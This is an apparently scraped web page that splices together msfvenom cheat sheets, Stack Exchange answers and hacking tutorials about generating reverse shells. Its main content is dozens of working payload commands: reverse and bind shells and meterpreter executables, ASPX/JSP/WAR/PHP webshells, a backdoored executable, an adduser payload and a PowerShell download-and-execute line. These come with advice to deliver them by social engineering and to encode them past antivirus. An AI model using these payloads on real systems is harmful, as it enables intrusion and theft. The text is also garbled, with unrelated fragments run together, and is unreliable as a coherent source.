msfvenom iis reverse shell msfvenom iis reverse shell

The advantages of msfvenom are: One single tool Standardized command line options Increased speed. TTYs are Linux/Unix shell which is hardwired terminal on a serial connection connected to mouse or keyboard and PTs is sudo tty terminal, to get the copy of terminals on network connections via SSH or telnet. Browse other questions tagged, Start here for a quick overview of the site, Detailed answers to any questions you might have, Discuss the workings and policies of this site. 1111 (any random port number which is not utilized by other services). 1 Answer Sorted by: 9 TLDR: to catch it with a netcat listener you need to use windows/shell_reverse_tcp, not windows/shell/reverse_tcp. Were committed to providing the world with free how-to resources, and even $1 helps us in our mission. PSA: run these commands via cmd.exe, not in Powershell. With msfvenom I create a payload for my victim windows 7 machine, I open a netcat listener on the correct port, download and execute the malicous exe file from the victim machine, and a connection will be established. Share this file using social engineering tactics and wait for target execution. Single Page Cheatsheet for common MSF Venom One Liners. # Metasploit provides an easy to use module to upload files and get a shell, # But also possible to only generate a WAR payload, # Then deploy using the manager and browse to your shell path, # You can exploit this and get a webshell or even reverse shell by uploading a WAR file, # You may need to add a new entry in the /etc/hosts, # You can drop a nc64.exe in your share then access it, # rlwrap allows you to interface local and remote keyboard (giving arrows keyboards and history), # If WebDAV is open, you can use tools like cadaver to connect, # Webdav often works with the PUT HTTP method, # It means you can often upload files (for exampla, to get webshell), "Destination:http://10.10.10.15/webshell.aspx", # If you can execute ASPX, you can craft reverse shell payloads, # Then use a handler (MSF or nc for example), # If you can't directly upload files, you still can look for known vulnerabilities. To learn more, see our tips on writing great answers. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f exe > shell.exe Entire malicious code will be written inside the shell.exe file and will be executed as an exe program on the target machine. Using the -k, or keep, option in conjunction will preserve the templates normal behaviour and have your injected payload run as a separate thread. To create this article, volunteer authors worked to edit and improve it over time. Work fast with our official CLI. Transfer the malicious on the target system and execute it. How to use msfvenom. Information Security Stack Exchange is a question and answer site for information security professionals. In this tutorial, we are going to use some of the payloads to spawn a TTY shell. After that start netcat for accessing reverse connection and wait for getting his TTy shell. A tag already exists with the provided branch name. Issuing the msfvenom command with this switch will output all available payload formats. Euler: A baby on his lap, a cat on his back thats how he wrote his immortal works (origin? Execute the following command to create a malicious batch file, the filename extension .bat is used in DOS and Windows. MsfVenom is a Metasploit standalone payload generator which is also a replacement for msfpayload and msfencode. If wikiHow has helped you, please consider a small contribution to support us in helping more readers like you. cmd/unix/reverse_python, lport: Listening port number i.e. You can inject this payload for exploiting Unrestricted File Upload vulnerability if the target is IIS Web Server. Execute the upload script in the web browser. The generated payload for psh, psh-net, and psh-reflection formats have a .ps1 extension, and the generated payload for the psh-cmd format has a .cmd extension Else you can directly execute the raw code inside the Command Prompt of the target system. Type ifconfig to display the interface and check your IP address. malicious code in terminal, the attacker will get a reverse shell through netcat. In order to receive the connection, you have to open the multi-handler in Metasploit and set the payloads. A comprehensive method of macros execution is explained in our previous post. 6666 (any random port number which is not utilized by other services), In order to access /bin/sh shell of the target system for compromising TTY shell firstly, we had access PTs terminal of the target through SSH and then paste the malicious code. MSFvenom Cheetsheet My various MSFvenom commands to generate shellcode, reverse shells, and meterpreter payloads that I end up using over, and over, and over, and over. R Raw format (we select .apk). A bind shell is a kind that opens up a new service on the target machine and requires the attacker to connect to it in order to get a session. Use it to try out great new products and services nationwide without paying full pricewine, food delivery, clothing and more. TLDR: to catch it with a netcat listener you need to use windows/shell_reverse_tcp, not windows/shell/reverse_tcp. Level up your tech skills and stay ahead of the curve. Thanks for contributing an answer to Information Security Stack Exchange! Create a content/_footer.md file to customize the footer content. sign in Execute the following command to create a malicious dll file, the filename extension .dll is used in DOS and Windows. https://kb.help.rapid7.com/discuss/598ab88172371b000f5a4675 For execution, copy the generated code and paste it into the Windows command prompt, A PS1 file is a script, or cmdlet, used by Windows PowerShell. Share this file using social engineering tactics and wait for target execution. To connect reverse shell created by msfvenom, any other way than As shown in the below image, the size of the generated payload is 232 bytes, now copy this malicious code and send it to target. This will create a payload on your desktop. ), I used the use exploit/multi/handler to configure the PAYLOAD. In order to compromise a command shell, you can use reverse_netcat_gaping payload along msfvenom as given in below command. Is it plausible for constructed languages to be used to affect thought and control or mold people towards desired outcomes? The filename for this payload is "android_shell.apk". Msfvenom can be used to encode payloads to avoid detection, and can be used to create multi-staged payloads. This command cheatsheet should be all you need . The Odd Couple: Metasploit and Antivirus Solutions (Dec 13, 2012). How do you ensure that a red herring doesn't violate Chekhov's gun? This means that it can be smaller because rather than cram all the necessary code into the payload itself, it just contains the bare minimum needed to connect back to a compatible listener and receive the rest of the code. The nature of simulating nature: A Q&A with IBM Quantum researcher Dr. Jamie We've added a "Necessary cookies only" option to the cookie consent popup, Metasploit: Executables are not working after Reverse Shell, Reverse shell breaking instantly after connection has been established, Reverse PHP shell disconnecting when netcat listener, How to connect to a meterpreter session opened manually on the target machine, Newer techniques for Meterpreter AV bypass, Metasploit over WAN (ngrok) - Specify different LHOST and LPORT for payload and listener in an exploit, MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive. Author:AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. https://www.privateinternetaccess.com/pages/buy-vpn/infinitelogins, https://www.youtube.com/c/infinitelogins?sub_confirmation=1, Hack the Box Write-Up: NINEVAH (Without Metasploit) | Infinite Logins, Abusing Local Privilege Escalation Vulnerability in Liongard ROAR <1.9.76 | Infinite Logins. Reverse Shell with Msfvenom - Cheatsheet List payloads msfvenom -l Or msfvenom --list payloads Generate a PHP payload msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php Generate a Windows payload Meterpreter - Reverse shell (x64): Please consider supporting me on Patreon:https://www.patreon.com/infinitelogins, Purchase a VPN Using my Affiliate Linkhttps://www.privateinternetaccess.com/pages/buy-vpn/infinitelogins, SUBSCRIBE TO INFINITELOGINS YOUTUBE CHANNEL NOW https://www.youtube.com/c/infinitelogins?sub_confirmation=1. With the below command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4444 -f exe -o /home/kali/Desktop/rs_exploitl.exe. As we have mentioned above, this post may help you to learn all possible methods to generate various payload formats for exploiting the Windows Platform. It only takes a minute to sign up. Read beginner guide from here. Windows Installer is also known as Microsoft Installer. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. cmd/unix/reverse_ruby, lport: Listening port number i.e. Lport= (any port you wish to assign to the listener), P= (Payload I.e. You can use any port number you want; I used 4444. An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript. The LPORT field you're using for the bind shell is the port you want the target machine to listen . I will talk through my thoughts on this, Please let me know if I am making a mistake somewhere along the lines. 2. ifconfig: it tells IP configuration of the system you have compromised. What does windows meterpreter reverse TCP Shellcode do? It only takes a minute to sign up. What can a lawyer do if the client wants him to be acquitted of everything despite serious evidence? Entire malicious code will be written inside the shell.hta file and will be executed as .hta script on the target machine. Asking for help, clarification, or responding to other answers. By clicking Post Your Answer, you agree to our terms of service, privacy policy and cookie policy. Use the command msiexec to run the MSI file. Follow Up: struct sockaddr storage initialization by network format-string. Connect and share knowledge within a single location that is structured and easy to search. Metasploit for the Aspiring Hacker, Part 5 (Msfvenom). By using our site, you agree to our. Read more from here: Multiple Ways to Exploit Windows Systems using Macros. [This is working fine], --> msfvenom -p cmd/unix/bind_netcat RHOST= LPORT=1234 -f python, and then connecting it using --> nc . An attacker takes the privilege of these features and creates a malicious VB script to be executed as a macros program with Microsoft excel. Type msfvenom -l encoders to show the list of encoders. Using msfconsole it's not problem to get a meterpreter-session, however meterpreter is not allowed during the exam so I want to go the "manual" way. Where does this (supposedly) Gibson quote come from? Why do academics stay as adjuncts for years rather than move around? Then I configure the network to ensure each machine can ping each other. malicious code in his terminal, the attacker will get a reverse shell through netcat. Once the file ran successfully, I switched over to the kali machine and verified the connection was established and we now have access to the C:\ drive via shell. from, thelightcosine. wikiHow is where trusted research and expert knowledge come together. Required fields are marked *. As shown in the below image, the size of the generated payload is 67 bytes, now copy this malicious code and send it to target. It is used to create macros. that runs within Excel. For our windows/shell_reverse_tcp payload above, and many reverse shell payloads, we must set the LHOST option, and can change the default LPORT and EXITFUNC option . Msfvenom: Msfvenom is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. Connect and share knowledge within a single location that is structured and easy to search. Execute the following command to create a malicious aspx script, the filename extension .aspx. cmd/unix/reverse_perl, lport: Listening port number i.e. Trying to understand how to get this basic Fourier Series. Bind shell. Combining these two devices into a unique tool seemed well and good. -p: type of payload you are using i.e. Use the command rundll32 to run the MSI file. Why are Suriname, Belize, and Guinea-Bissau classified as "Small Island Developing States"? As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell, now he can do whatever he wishes to do. msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=YourIP LPORT=YourPort -f elf > santas.elf 5555 (any random port number which is not utilized by other services). You could use the shell_reverse_tcp payload instead of meterpreter and then receive a connect back to netcat but not with meterpreter/reverse_tcp. The reason behind this is because of the execution templates in MSFvenom. 3. wikiHow is a wiki, similar to Wikipedia, which means that many of our articles are co-written by multiple authors. When the URL is viewed, these pages are shown in the users web browser, .NET web forms are another name for them. windows=exe, android=apk etc. In order to compromise a ruby shell, you can use reverse_ruby payload along msfvenom as given in below command. --> msfvenom -p cmd/unix/reverse_netcat LHOST= LPORT=9999 -f python, and then catching the reverse shell with - -> nc -nvlp 9999 --- This is understandable because I need to tell the target my IP and the port so that it can connect to me and execute a shell. This tool consolidates all the usefulness of msfpayload and msfencode in a single instrument. This article is for educational purpose only. buf += "\x42\xf5\x92\x42\x42\x98\xf8\xd6\x93\xf5\x92\x3f\x98", msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -f python --smallest, msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSFU Example" -f raw > messageBox, -a x86 --platform windows -p windows/messagebox TEXT="We are evil" -f raw > messageBox2, -a x86 --platform Windows -p windows/shell/bind_tcp -f exe -o cookies.exe, msfvenom -a x86 --platform windows -x sol.exe -k -p windows/messagebox lhost=192.168.101.133 -b "\x00" -f exe -o sol_bdoor.exe, Security Operations for Beginners (SOC-100), Penetration Testing with Kali Linux (PEN-200), Offensive Security Wireless Attacks (PEN-210), Evasion Techniques and Breaching Defenses (PEN-300), Advanced Web Attacks and Exploitation (WEB-300), Windows User Mode Exploit Development (EXP-301), Security Operations and Defensive Analysis (SOC-200), Exploit Development Prerequisites (EXP-100). Otherwise you need to use the multihandler. LPORT Localhost port on which the connection listen for the victim (we set it to 4444). Connect msfvenom reverse shell without metasploit, How Intuit democratizes AI development across teams through reusability. Here is a list of available platforms one can enter when using the -platform switch. How do you get out of a corner when plotting yourself into a corner, Is there a solution to add special characters from software and how to do it, Minimising the environmental effects of my dyson brain, Full text of the 'Sri Mahalakshmi Dhyanam & Stotram'. To start using msfvenom, first please take a look at the options it supports: Options: -p, --payload <payload> Payload to use. Windows 64-bit Reverse TCP Shell not working, netcat reverseshell hanging after connection, MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive. Make sure that both machines can communicate with each other over the network. Msfvenom is the combination of payload generation and encoding. The executable program that interprets packages and installs products is Msiexec.exe.Launch msiexec attack via msfvenomLet's generate an MSI Package file (1.msi) utilizing Verified the file automatically downloaded: I then double-clicked and ran the file. Asking for help, clarification, or responding to other answers. Learn M ore There are tons of cheatsheets out there, but I couldn't find a comprehensive one that includes non-Meterpreter shells. Start up Kali and fire up the Terminal console. Execute the following command to create a malicious aspx script, the filename extension .aspx that will be executed as macros within Microsoft excel. Here we found target IP address: 192.168.1.1106 by executing the, In order to compromise a python shell, you can use, In order to compromise a ruby shell, you can use, In order to compromise a command shell, you can use. "full fledged payload" and "Fully Interactive TTY shell" are also different? msfvenom -n, nopsled msfvenom -p windows/shell_reverse_tcp -f asp LHOST=10.10.16.8 LPORT=4444 -o reverse-shell.asp . As shown in the below image, the size of the generated payload is 131 bytes, now copy this malicious code and send it to target. Use Git or checkout with SVN using the web URL. The best answers are voted up and rise to the top, Not the answer you're looking for? msfvenom replaced both msfpayload and msfencode as of June 8th, 2015. Learn more about Stack Overflow the company, and our products. 2222 (any random port number which is not utilized by other services). Using MSFvenom, the combination of msfpayload and msfencode, it's possible to create a backdoor that connects back to the attacker by using reverse shell TCP. Your email address will not be published. Does ZnSO4 + H2 at high pressure reverses to Zn + H2SO4? Include your email address to get a message when this question is answered. Open the terminal in your Kali Linux and type msfconsole to load Metasploit framework, now search all one-liner payloads for UNIX system using search command as given below, it will dump all exploit that can be used to compromise any UNIX system. 1. In order to compromise a netcat shell, you can use reverse_netcat payload along msfvenom as given in below command. Note: msfvenom has replaced both msfpayload and msfencode as of June 8th, 2015. if you wanted to execute a command to make the . Since the reverse shell type is meterpreter thus we need to launch exploit/multi/handler inside metasploit framework. You sir made my day. Complete this project on a pair of computers that you have permission to access, and in the process, you'll learn more about computer security and how this kind of backdoor works. Disconnect between goals and daily tasksIs it me, or the industry? In simple terms netcat cannot interact on a text basis with meterpreter. Reverse Shell - 3. Msfvenom has a wide range of options available: We can see an example of the msfvenom command line below and its output: The msfvenom command and resulting shellcode above generates a Windows bind shell with three iterations of the shikata_ga_nai encoder without any null bytes and in the python format. MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) Posted on January 25, 2020 by Harley in Tips & Tricks Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. VBA is a file extension commonly associated with Visual Basic which supports Microsoft applications such as Microsoft Excel, Office, PowerPoint, Word, and Publisher. Thanks! Prevents running of all script files, including formatting and configuration files (.ps1xml), module script files (.psm1), and PowerShell profiles (.ps1). I'll leave the full explanation for another article, as I'm sure you probably know the basics if you're here. Table of Contents: Non Meterpreter Binaries Non Meterpreter Web Payloads Meterpreter Binaries Meterpreter Web Payloads, Donations and Support:Like my content? Powershell output seems to do some sort of encoding that will generate an invalid PE file when you redirect the output to file, but running these under cmd.exe works correctly. Then I opened a second terminal and used the msfconsole command to open the Metasploit framework, I then set the Listening port on the kali machine to listen on port 4444. Windows, Android, PHP etc.) Batch split images vertically in half, sequentially numbering the output files. ), F= file extension (i.e. Great article, thorough but to the point. From given below image you can observe that we had successfully access TTY shell of the target system. Thank you very much man. msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.103 lport=1111 R Here we had entered the following detail to generate one-liner raw payload. Stack Exchange network consists of 181 Q&A communities including Stack Overflow, the largest, most trusted online community for developers to learn, share their knowledge, and build their careers. powershell?cmd.exepowershellwindowspowershell.ps1(1)Windows PowerShellwindows.NET Framework To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. Execute the following command to create a malicious MSI file, the filename extension .msi is used in DOS and Windows. Hello friends!! By clicking Post Your Answer, you agree to our terms of service, privacy policy and cookie policy. After that start netcat for accessing reverse connection and wait for getting his TTY shell. Basically, there are two types of terminal TTYs and PTs. Contacthere, All Rights Reserved 2021 Theme: Prefer by, Msfvenom Cheatsheet: Windows Exploitation, In this post, you will learn how to use MsfVenom to generate all types of payloads for exploiting the windows platform. Thanks to all authors for creating a page that has been read 100,969 times. The best answers are voted up and rise to the top, Not the answer you're looking for? If the smallest switch is used, msfvevom will attempt to create the smallest shellcode possible using the selected encoder and payload. rev2023.3.3.43278. cmd/unix/reverse_bash, lhost: listening IP address i.e. % of people told us that this article helped them. Learn More. In order to compromise a Perl shell, you can use reverse_perl payload along msfvenom as given in below command. I am just a beginner so please bear with me and if there is some other thought process implied on this context, Let me know. Execute the following command to generate raw code for the malicious PowerShell program. In this exploit demonstration, I will be using a malicious payload in the form of windows executable to create a reverse TCP shell. Assigning a name will change the outputs variable from the default buf to whatever word you supplied. That's because you are generating a fully fledged meterpreter payload and using that is extremely different from a simple reverse shell. Useful when the webserver is Microsoft IIS. Enjoy! rev2023.3.3.43278. Just make sure to pay attention when listing payloads to whether or not something is described as staged. Does Counterspell prevent from any further spells being cast on a given turn? Let's look at a quick example of how to do this. @TJCLK the payload in this case is Meterpreter. Specify a custom variable name to use for certain output formats. How can I check before my flight that the cloud separation requirements in VFR flight rules are met? -p: type of payload you are using i.e. In order to compromise a bash shell, you can use, In order to compromise a netcat shell, you can use, In order to compromise a Perl shell, you can use, As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell. To learn more, see our tips on writing great answers. Site design / logo 2023 Stack Exchange Inc; user contributions licensed under CC BY-SA. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. A DLL is a library that contains code and data that can be used by more than one program. Format psh, psh-net, psh-reflection, or psh-cmd. AC Op-amp integrator with DC Gain Control in LTspice. Again when the target will open the following malicious code in his terminal, the attacker will get the reverse shell through netcat. cmd/unix/reverse_netcat, lport: Listening port number i.e. 3333 (any random port number which is not utilized by other services). currently I'm preparing for OSCP and right know I'm working on reverse shells. In simple terms netcat cannot interact on a text basis with meterpreter. Available in PDF, DOCX and Markdown format! Reverse shell breaking instantly after connection has been established, How Intuit democratizes AI development across teams through reusability. Using Kolmogorov complexity to measure difficulty of problems? As you can observe the result from given below image where the attacker has successfully accomplish targets system TTY shell. Specify an additional win32 shellcode file to include, essentially creating a two (2) or more payloads in one (1) shellcode. The AV vendors have added the static signature of these templates and just look for them. Otherwise you need to use the multihandler. Here is a list of available platforms one can enter when using the platform switch. But, when I type a command, the connection closes. Author:Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. It's working! So problems with the clients port (firewall rules for example) can be eliminated. This can be tested using the ping command. Learn more about Stack Overflow the company, and our products. "LHOST" designates the listener IP address. https://kb.help.rapid7.com/discuss/598ab88172371b000f5a4675, https://thor-sec.com/cheatsheet/oscp/msfvenom_cheat_sheet/, http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/, msfvenom -p PAYLOAD -e ENCODER -f FORMAT -i ENCODE COUNT LHOST=IP, msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf, Linux Meterpreter reverse shell x86 multi stage, msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf, Linux Meterpreter bind shell x86 multi stage, msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf, msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf, msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe, msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe, msfvenom -p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT -f exe > shell.exe, msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe, msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe, msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe, msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho, msfvenom -p osx/x86/shell_bind_tcp RHOST=IP LPORT=PORT -f macho > shell.macho, msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw > shell.py, msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=PORT -f raw > shell.sh, msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=PORT -f raw > shell.pl, msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp > shell.asp, msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.jsp, msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > shell.war, msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php cat shell.php, msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > phpreverseshell.php, msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString(', Windows Exec Nishang Powershell in python, msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/shikata_ga_nai -b "\x04\xA0", msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/fnstenv_mov -b "\x04\xA0".